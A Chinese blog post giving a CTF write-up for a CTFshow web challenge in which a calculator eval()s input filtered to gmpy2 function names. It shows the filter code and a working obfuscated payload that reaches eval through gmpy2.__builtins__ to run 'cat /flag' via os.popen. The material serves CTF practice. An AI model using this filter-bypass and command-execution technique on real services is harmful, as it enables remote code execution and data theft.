CTFshow-_菜狗杯-算力升级

有一个计算功能的输入框

可以查看源码,题目过滤代码

def tiesuanzi():
    code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)
        return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
    except:
        return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})

code是输入框提交的内容,下面这段代码是将code中由字母、数字、下划线组成的字符串取出

pattern=re.compile(r'\w+')
for item in pattern.findall(code):

如果取出的不是数字就判断是否为gmpy2库(高精度算术运算库)的函数名,如果最后都是就eval(code)代码执行

那么我们可以看一下gmpy2库的函数有什么是可以利用的

先在本地安装gmpy2库,pip install gmpy2

查看所有函数名,结果有很多,不过没有可以直接利用的

import gmpy2
print(dir(gmpy2))

里面有gmpy2和__builtins__,看看gmpy2.__builtins__支持哪些函数,发现有eval

那么我们就可以通过对gmpy2库中的函数名中的字母进行拼接,来等效gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")

这里可以直接用os是因为import os了,如果没有可以用gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")

payload

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('cos'[1]+'cos'[2]+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")

posted @ 2022-11-16 20:46  Hacker&Cat  阅读(92)  评论(0编辑  收藏  举报